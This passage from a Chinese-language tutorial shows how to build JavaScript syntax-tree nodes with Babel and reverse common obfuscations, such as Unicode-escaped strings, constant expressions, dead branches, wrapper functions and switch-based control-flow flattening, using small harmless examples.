operator: "+" | "-" | "/" | "%" | "*" | "**" | "&" | "|" | ">>" | ">>>" | "<<" | "^" | "==" | "===" | "!=" | "!==" | "in" | "instanceof" | ">" | "<" | ">=" | "<=",

left: BabelNodeExpression | BabelNodePrivateName,

right: BabelNodeExpression

)
+

此时 visitor 代码就可以这么写:

+
const visitor = {

VariableDeclaration(path) {

let init = types.binaryExpression("+", left, right)

let declarator = types.variableDeclarator(types.identifier("b"), init)

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

}

}
+

然后继续构造 left 和 right,和前面的方法一样,观察 AST 语法树,查询对应方法应该传入的参数,层层嵌套,直到把所有的节点都构造完毕,最终的 visitor 代码应该是这样的:

+
const visitor = {

VariableDeclaration(path) {

let left = types.binaryExpression("*", types.identifier("a"), types.numericLiteral(5))

let right = types.numericLiteral(1)

let init = types.binaryExpression("+", left, right)

let declarator = types.variableDeclarator(types.identifier("b"), init)

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

path.stop()

}

}
+

注意:path.insertAfter() 插入节点语句后面加了一句 path.stop(),表示插入完成后立即停止遍历当前节点和后续的子节点,添加的新节点也是 VariableDeclaration,如果不加停止语句的话,就会无限循环插入下去。

+

插入新节点后,再转换成 JavaScript 代码,就可以看到多了一行新代码,如下图所示:

+

14

+

常见混淆还原​

+

了解了 AST 和 babel 后,就可以对 JavaScript 混淆代码进行还原了,以下是部分样例,带你进一步熟悉 babel 的各种操作。

+

字符串还原​

+

文章开头的图中举了个例子,正常字符被换成了 Unicode 编码:

+
console['\u006c\u006f\u0067']('\u0048\u0065\u006c\u006c\u006f\u0020\u0077\u006f\u0072\u006c\u0064\u0021')
+

观察 AST 结构:

+

15

+

我们发现 Unicode 编码对应的是 raw,而 rawValue 和 value 都是正常的,所以我们可以将 raw 替换成 rawValue 或 value 即可,需要注意的是引号的问题,本来是 console["log"],你还原后变成了 console[log],自然会报错的,除了替换值以外,这里直接删除 extra 节点,或者删除 raw 值也是可以的,所以以下几种写法都可以还原代码:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `console['\u006c\u006f\u0067']('\u0048\u0065\u006c\u006c\u006f\u0020\u0077\u006f\u0072\u006c\u0064\u0021')`

const ast = parser.parse(code)



const visitor = {

StringLiteral(path) {

// 以下方法均可

// path.node.extra.raw = path.node.rawValue

// path.node.extra.raw = '"' + path.node.value + '"'

// delete path.node.extra

delete path.node.extra.raw

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

还原结果:

+
console["log"]("Hello world!");
+

对象访问方式还原​

+

以前面的例子

+
console["log"]("Hello world!");
+

在JS中,属性的访问方式有两种,一种是以[]的方式,一种是.的方式,在使用个人开发中,普遍使用.的方式进行访问,

+

image-20250117094913357

+

image-20250117095910230

+

与.方式不同,可以看到多出了computed=true和property的类型发生了变化,我们只需要修改computed=flase和还原property的 类型即可即可还原。

+
const parser = require("@babel/parser");

const types = require("@babel/types");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `
console['log']('hello, world!');
`

const ast = parser.parse(code)



const visitor = {

MemberExpression(path){
if(path.node.computed){
path.node.computed = false
path.node.property = types.identifier("log");
debugger

}
}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)

+

表达式还原​

+

![] 可表示 false,!![] 或者 !+[] 可表示 true,在一些混淆代码中,经常有这些操作,把简单的表达式复杂化,往往需要执行一下语句,才能得到真正的结果,示例代码如下:

+
const a = !![]+!![]+!![];

const b = Math.floor(12.34 * 2.12)

const c = 10 >> 3 << 1

const d = String(21.3 + 14 * 1.32)

const e = parseInt("1.893" + "45.9088")

const f = parseFloat("23.2334" + "21.89112")

const g = 20 < 18 ? '未成年' : '成年'
+

想要执行语句,我们需要了解 path.evaluate() 方法,该方法会对 path 对象进行执行操作,自动计算出结果,返回一个对象,其中的 confident 属性表示置信度,value 表示计算结果,使用 types.valueToNode() 方法创建节点,使用 path.replaceInline() 方法将节点替换成计算结果生成的新节点,替换方法有一下几种:

+
    +
  • replaceWith:用一个节点替换另一个节点;
  • +
  • replaceWithMultiple:用多个节点替换另一个节点;
  • +
  • replaceWithSourceString:将传入的源码字符串解析成对应 Node 后再替换,性能较差,不建议使用;
  • +
  • replaceInline:用一个或多个节点替换另一个节点,相当于同时有了前两个函数的功能。
  • +
+

对应的 AST 处理代码如下:

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");





const code = `
const a = !![]+!![]+!![];
const b = Math.floor(12.34 * 2.12)
const c = 10 >> 3 << 1
const d = String(21.3 + 14 * 1.32)
const e = parseInt("1.893" + "45.9088")
const f = parseFloat("23.2334" + "21.89112")
const g = 20 < 18 ? '未成年' : '成年'
`;



const visitor = {
"BinaryExpression|CallExpression|ConditionalExpression"(path){
const {confident, value} = path.evaluate();
if (confident){
let node = types.valueToNode(value);
if (node.type === 'StringLiteral'){
node.extra = {
raw: `"${value}"`,
rawValue: `${value}`,
}
}
// console.log(node);
path.replaceInline(node)
}
},
}
const ast = parser.parse(code, {sourceType: "module"})
traverse(ast, visitor)
const result = generate(ast)
console.log(result.code)
+

最终结果:

+
const a = 3;
const b = 26;
const c = 2;
const d = "39.78";
const e = 1;
const f = 23.233421;
const g = "成年";
+

删除未使用变量​

+

有时候代码里会有一些并没有使用到的多余变量,删除这些多余变量有助于更加高效的分析代码,示例代码如下:

+
const a = 1;

const b = a * 2;

const c = 2;

const d = b + 1;

const e = 3;

console.log(d)
+

删除多余变量,首先要了解 NodePath 中的 scope,scope 的作用主要是查找标识符的作用域、获取并修改标识符的所有引用等,删除未使用变量主要用到了 scope.getBinding() 方法,传入的值是当前节点能够引用到的标识符名称,返回的关键属性有以下几个:

+
    +
  • identifier:标识符的 Node 对象;
  • +
  • path:标识符的 NodePath 对象;
  • +
  • constant:标识符是否为常量;
  • +
  • referenced:标识符是否被引用;
  • +
  • references:标识符被引用的次数;
  • +
  • constantViolations:如果标识符被修改,则会存放所有修改该标识符节点的 Path 对象;
  • +
  • referencePaths:如果标识符被引用,则会存放所有引用该标识符节点的 Path 对象。
  • +
+

所以我们可以通过 constantViolations、referenced、references、referencePaths 多个参数来判断变量是否可以被删除,AST 处理代码如下:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `

const a = 1;

const b = a * 2;

const c = 2;

const d = b + 1;

const e = 3;

console.log(d)

`

const ast = parser.parse(code)



const visitor = {

VariableDeclarator(path){

const binding = path.scope.getBinding(path.node.id.name);



// 如标识符被修改过,则不能进行删除动作。

if (!binding || binding.constantViolations.length > 0) {

return;

}



// 未被引用

if (!binding.referenced) {

path.remove();

}



// 被引用次数为0

// if (binding.references === 0) {

// path.remove();

// }



// 长度为0,变量没有被引用过

// if (binding.referencePaths.length === 0) {

// path.remove();

// }

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

处理后的代码(未使用的 b、c、e 变量已被删除):

+
const a = 1;

const b = a * 2;

const d = b + 1;

console.log(d);
+

删除冗余逻辑代码​

+

有时候为了增加逆向难度,会有很多嵌套的 if-else 语句,大量判断为假的冗余逻辑代码,同样可以利用 AST 将其删除掉,只留下判断为真的,示例代码如下:

+
const example = function () {

let a;

if (false) {

a = 1;

} else {

if (1) {

a = 2;

}

else {

a = 3;

}

}

return a;

};
+

观察 AST,判断条件对应的是 test 节点,if 对应的是 consequent 节点,else 对应的是 alternate 节点,如下图所示:

+

16

+

AST 处理思路以及代码:

+
    +
  1. 筛选出 BooleanLiteral 和 NumericLiteral 节点,取其对应的值,即 path.node.test.value;
  2. +
  3. 判断 value 值为真,则将节点替换成 consequent 节点下的内容,即 path.node.consequent.body;
  4. +
  5. 判断 value 值为假,则替换成 alternate 节点下的内容,即 path.node.alternate.body;
  6. +
  7. 有的 if 语句可能没有写 else,也就没有 alternate,所以这种情况下判断 value 值为假,则直接移除该节点,即 path.remove()
  8. +
+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default

const types = require('@babel/types');



const code = `

const example = function () {

let a;

if (false) {

a = 1;

} else {

if (1) {

a = 2;

}

else {

a = 3;

}

}

return a;

};

`

const ast = parser.parse(code)



const visitor = {

enter(path) {

if (types.isBooleanLiteral(path.node.test) || types.isNumericLiteral(path.node.test)) {

if (path.node.test.value) {

path.replaceInline(path.node.consequent.body);

} else {

if (path.node.alternate) {

path.replaceInline(path.node.alternate.body);

} else {

path.remove()

}

}

}

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

处理结果:

+
const example = function () {

let a;

a = 2;

return a;

};
+

花指令转二项式​

+

在有的代码中,原本的两项式,通过函数计算,被层层套娃。就像下面这样

+

img

+

一个简单的代码

+
function double_b64_decode(sss) {
return atob(atob(sss));
}

var Arr = ["Ykc5bg=="];

function _wYQm(j, k) {
return j - k;
}

function _sTFb(j, k) {
return j - k;
}

function _rSeS(j, k) {
return j + k;
}

function _EXMS(j, k) {
return j <= k;
}

function \u0064\u0069\u0067\u0075\u0069(\u006e) {
return \u005f\u0045\u0058\u004d\u0053(\u006e, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : \u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e, (846611 ^ 391233) - (844466 ^ 389603))), \u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e, (372786 ^ 381554) - (538795 ^ 547477))));
}

\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069 ^ 947940) - (417221 ^ 282372)])](\u0064\u0069\u0067\u0075\u0069((425420 ^ 179515) - (347329 ^ 101420)));

+

首先我们需要对\u0065转码,然而大部分编译器自动帮你处理这个unicode所以,你只需要拿去跑一遍,不需要做任何操作。

+

得到以下代码

+
function double_b64_decode(sss) {
return atob(atob(sss));
}
var Arr = ["Ykc5bg=="];
function _wYQm(j, k) {
return j - k;
}
function _sTFb(j, k) {
return j - k;
}
function _rSeS(j, k) {
return j + k;
}
function _EXMS(j, k) {
return j <= k;
}
function digui(n) {
return _EXMS(n, (866095 ^ 871791) - (13812 ^ 20426)) ? (835770 ^ 145588) - (520846 ^ 592515) : _rSeS(digui(_sTFb(n, (846611 ^ 391233) - (844466 ^ 389603))), digui(_wYQm(n, (372786 ^ 381554) - (538795 ^ 547477))));
}
console[double_b64_decode(Arr[(812069 ^ 947940) - (417221 ^ 282372)])](digui((425420 ^ 179515) - (347329 ^ 101420)));
+

接下来我们处理常数二项计算,在树状图中,可以看到这类被分为BinaryExpression类型

+

image-20250117102349713

+

那么我们只需要计算即可

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;
const ast = parser.parse(code, )
const visitor = {

BinaryExpression(path) {
const {confident, value} = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},

}
traverse(ast, visitor);
const result = generate(ast);
console.log(result.code);
// output:
// function double_b64_decode(sss) {
// return atob(atob(sss));
// }
// var Arr = ["Ykc5bg=="];
// function _wYQm(j, k) {
// return j - k;
// }
// function _sTFb(j, k) {
// return j - k;
// }
// function _rSeS(j, k) {
// return j + k;
// }
// function _EXMS(j, k) {
// return j <= k;
// }
// function digui(n) {
// return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));
// }
// console[double_b64_decode(Arr[0])](digui(10));
+

可以看到有个double_b64_decode 函数对Arr[0]进行了处理,那么我们需要对这个CallExpression替换成double_b64_decode(Arr[0])计算出的字符串

+

image-20250117103330075

+

然而这里有难点就是,进入CallExpression时,BinaryExpression类型还没有计算.

+

image-20250117104929238

+

为此我们有两种方法,

+
    +
  • 第一种:使用enter在所有节点进入前,对BinaryExpression进行计算
  • +
  • 第二种,分批次进行计算(对生成的代码多写几次traverse(ast, visitor);)
  • +
+

这里我们采用第第二种,分阶段运行。在第一阶段的代码下面新增处理CallExpression的逻辑

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});
const result = generate(ast);
console.log(result.code);

+

结果

+
function _wYQm(j, k) {
return j - k;
}
function _sTFb(j, k) {
return j - k;
}
function _rSeS(j, k) {
return j + k;
}
function _EXMS(j, k) {
return j <= k;
}
function digui(n) {
return _EXMS(n, 2) ? 1 : _rSeS(digui(_sTFb(n, 1)), digui(_wYQm(n, 2)));
}
console["log"](digui(10));
+

第三阶段,处理一下对象访问方式

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});

// 第三阶段:处理对象访问方式
traverse(ast, {
MemberExpression(path){
if(path.node.computed){
path.node.computed = false
const name = path.node.property.value
path.node.property = types.identifier(name);

}
}
})




const result = generate(ast);
console.log(result.code);

+

第四阶段,将花指令函数替换成二项式

+

二项式 有三部分构成left、operator、right

+

image-20250117111820315

+

对出现的CallExpression为花指令的函数进行替换

+

image-20250117111942151

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const {binaryExpression} = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});

// 第三阶段:处理对象访问方式
traverse(ast, {
MemberExpression(path){
if(path.node.computed){
path.node.computed = false
const name = path.node.property.value
path.node.property = types.identifier(name);

}
}
})

// 第四阶段:替换所有出现的花指令函数调用,并同时函数节点
traverse(ast, {
CallExpression(path) {
const callee = path.node.callee;

if (/^_/.test(callee.name)) {
const functionName = callee.name;
const functionBind = path.scope.getBinding(functionName);
if (functionBind) {

const left = path.node.arguments[0];
const right = path.node.arguments[1];
const operator = functionBind.path.node.body.body[0].argument.operator;
const binaryExpression = types.binaryExpression(operator, left, right);
path.replaceInline(binaryExpression);


functionBind.path.remove();
}

}
}
})


const result = generate(ast);
console.log(result.code);

+
const fs = require('fs');
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default
const generate = require("@babel/generator").default
const types = require("@babel/types");
const {binaryExpression} = require("@babel/types");
const code = `
function double_b64_decode(sss){return atob(atob(sss));}var Arr=["Ykc5bg=="];function _wYQm(j,k){return j-k;}function _sTFb(j,k){return j-k;}function _rSeS(j,k){return j+k;}function _EXMS(j,k){return j<=k;}function \u0064\u0069\u0067\u0075\u0069(\u006e){return \u005f\u0045\u0058\u004d\u0053(\u006e,(866095^871791)-(13812^20426))?(835770^145588)-(520846^592515):\u005f\u0072\u0053\u0065\u0053(\u0064\u0069\u0067\u0075\u0069(\u005f\u0073\u0054\u0046\u0062(\u006e,(846611^391233)-(844466^389603))),\u0064\u0069\u0067\u0075\u0069(\u005f\u0077\u0059\u0051\u006d(\u006e,(372786^381554)-(538795^547477))));}\u0063\u006f\u006e\u0073\u006f\u006c\u0065[\u0064\u006f\u0075\u0062\u006c\u0065\u005f\u0062\u0036\u0034\u005f\u0064\u0065\u0063\u006f\u0064\u0065(\u0041\u0072\u0072[(812069^947940)-(417221^282372)])](\u0064\u0069\u0067\u0075\u0069((425420^179515)-(347329^101420)));
`;

// 第一阶段:计算 可执行的二项式
const ast = parser.parse(code, )
traverse(ast, {
BinaryExpression(path) {
const { confident, value } = path.evaluate();
if (confident) {
path.replaceInline(types.valueToNode(value));
}
},
});
// 第二阶段:删除 double_b64_decode 函数 并替换成 对应的值
traverse(ast, {
CallExpression(path){
const callee = path.node.callee.name;

if (callee === 'double_b64_decode') {
const functionBind = path.scope.getBinding(path.node.callee.name);
const arrayBind = path.scope.getBinding(path.node.arguments[0].object.name);
const arrayNum = path.node.arguments[0].property.value;
const init = arrayBind.path.node.init;

let value = init.elements[arrayNum].value;

// 获取函数体代码
const functionCode = generate(functionBind.path.node).code;
const decodedFunction = new Function(`return (${functionCode})`)();

value = decodedFunction(value);
let node = types.valueToNode(value);
path.replaceInline(types.valueToNode(value));
functionBind.path.remove();
arrayBind.path.remove();
}
}
});

// 第三阶段:处理对象访问方式
traverse(ast, {
MemberExpression(path){
if(path.node.computed){
path.node.computed = false
const name = path.node.property.value
path.node.property = types.identifier(name);

}
}
})

// 第四阶段:替换所有出现的花指令函数调用,并同时函数节点
traverse(ast, {
CallExpression(path) {
const callee = path.node.callee;

if (/^_/.test(callee.name)) {
const functionName = callee.name;
const functionBind = path.scope.getBinding(functionName);
if (functionBind) {

const left = path.node.arguments[0];
const right = path.node.arguments[1];
const operator = functionBind.path.node.body.body[0].argument.operator;
const binaryExpression = types.binaryExpression(operator, left, right);
path.replaceInline(binaryExpression);


functionBind.path.remove();
}

}
}
})


const result = generate(ast);
console.log(result.code);

+

switch-case 控制流平坦化​

+

控制流平坦化是混淆当中最常见的,通过 if-else 或者 while-switch-case 语句分解步骤,示例代码:

+
const CryptoJS = require('crypto-js');

// AES 加密函数
function aesEncrypt(data) {
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let lineOrder = ["5", "8", "9", "2", '0', "6", "10", "1", "7", "4", "3"];
let lineIndex = 0;
while (true) {
switch (lineOrder[lineIndex]) {
case "5":
key = CryptoJS.enc.Utf8.parse('1234567890123456');


case "8":
key = CryptoJS.lib.WordArray.random(16);

case "9":
key = CryptoJS.enc.Utf8.parse('454583r342342445');


case "2":
key = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "0":
iv = CryptoJS.lib.WordArray.random(16);
case "6":
iv = CryptoJS.enc.Utf8.parse('1234567890123456');


case "10":
iv = CryptoJS.enc.Utf8.parse('454583r342342445');


case "1":
iv = CryptoJS.lib.WordArray.random(16);
case "7":
iv = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "4":
const encryptedData = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
case "3":
return {
encryptedData: encryptedData.toString(),
key: key.toString(),
iv: iv.toString()
};
}
lineIndex++;
}
}
console.log(aesEncrypt('1234567890123456'));
+

AST 还原思路:

+
    +
  1. 获取控制流原始数组,将 '3,4,0,5,1,2'['split'](',') 之类的语句转化成 ['3','4','0','5','1','2'] 之类的数组,得到该数组之后,也可以选择把 split 语句对应的节点删除掉,因为最终代码里这条语句就没用了;
  2. +
  3. 遍历第一步得到的控制流数组,依次取出每个值所对应的 case 节点;
  4. +
  5. 定义一个数组,储存每个 case 节点 consequent 数组里面的内容,并删除 continue 语句对应的节点;
  6. +
  7. 遍历完成后,将第三步的数组替换掉整个 while 节点,也就是 WhileStatement。
  8. +
+

不同思路,写法多样,对于如何获取控制流数组,可以有以下思路:

+
    +
  1. 获取到 While 语句节点,然后使用 path.getAllPrevSiblings() 方法获取其前面的所有兄弟节点,遍历每个兄弟节点,找到与 switch() 里面数组的变量名相同的节点,然后再取节点的值进行后续处理;
  2. +
  3. 直接取 switch() 里面数组的变量名,然后使用 scope.getBinding() 方法获取到它绑定的节点,然后再取这个节点的值进行后续处理。
  4. +
+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default

const types = require("@babel/types")

const fs = require("fs");



const code = `
const CryptoJS = require('crypto-js');

// AES 加密函数
function aesEncrypt(data) {
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let lineOrder = ["5", "8", "9", "2", '0', "6", "10", "1", "7", "4", "3"];
let lineIndex = 0;
while (true) {
switch (lineOrder[lineIndex]) {
case "5":
key = CryptoJS.enc.Utf8.parse('1234567890123456');


case "8":
key = CryptoJS.lib.WordArray.random(16);

case "9":
key = CryptoJS.enc.Utf8.parse('454583r342342445');


case "2":
key = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "0":
iv = CryptoJS.lib.WordArray.random(16);
case "6":
iv = CryptoJS.enc.Utf8.parse('1234567890123456');


case "10":
iv = CryptoJS.enc.Utf8.parse('454583r342342445');


case "1":
iv = CryptoJS.lib.WordArray.random(16);
case "7":
iv = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
case "4":
const encryptedData = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
case "3":
return {
encryptedData: encryptedData.toString(),
key: key.toString(),
iv: iv.toString()
};
}
lineIndex++;
}
}
console.log(aesEncrypt('1234567890123456'));

`;

const ast = parser.parse(code)



const visitor = {

WhileStatement(path) {



let switchNode = path.node.body.body[0];



let arrayName = switchNode.discriminant.object.name;

// 获取控制流数组绑定的节点

let bindingArray = path.scope.getBinding(arrayName);
let arrayNode = bindingArray.path.node;
let array = arrayNode.init.elements;
array = array.map((item) => item.value);

// 储存正确顺序的控制流语句

let replace = [];

// 遍历控制流数组,按正确顺序取 case 内容

array.forEach(index => {


const a =switchNode.cases.find((item) => item.test.value === index);
let consequent = a.consequent;

// 如果最后一个节点是 continue 语句,则删除 ContinueStatement 节点

if (types.isContinueStatement(consequent[consequent.length - 1])) {

consequent.pop();

}

// concat 方法拼接多个数组,即正确顺序的 case 内容

replace = replace.concat(consequent);

}

);

// 替换整个 while 节点,两种方法都可以

path.replaceWithMultiple(replace);

// path.replaceInline(replace);

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)

+

以上代码运行后,原来的 switch-case 控制流就被还原了,变成了按顺序一行一行的代码,更加简洁明了:

+
const CryptoJS = require('crypto-js');

// AES 加密函数
function aesEncrypt(data) {
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let lineOrder = ["5", "8", "9", "2", '0', "6", "10", "1", "7", "4", "3"];
let lineIndex = 0;
key = CryptoJS.enc.Utf8.parse('1234567890123456');
key = CryptoJS.lib.WordArray.random(16);
key = CryptoJS.enc.Utf8.parse('454583r342342445');
key = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
iv = CryptoJS.lib.WordArray.random(16);
iv = CryptoJS.enc.Utf8.parse('1234567890123456');
iv = CryptoJS.enc.Utf8.parse('454583r342342445');
iv = CryptoJS.lib.WordArray.random(16);
iv = CryptoJS.enc.Utf8.parse('cdscddde3wfdedww');
const encryptedData = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return {
encryptedData: encryptedData.toString(),
key: key.toString(),
iv: iv.toString()
};
}
console.log(aesEncrypt('1234567890123456'));
+

参考资料​

+
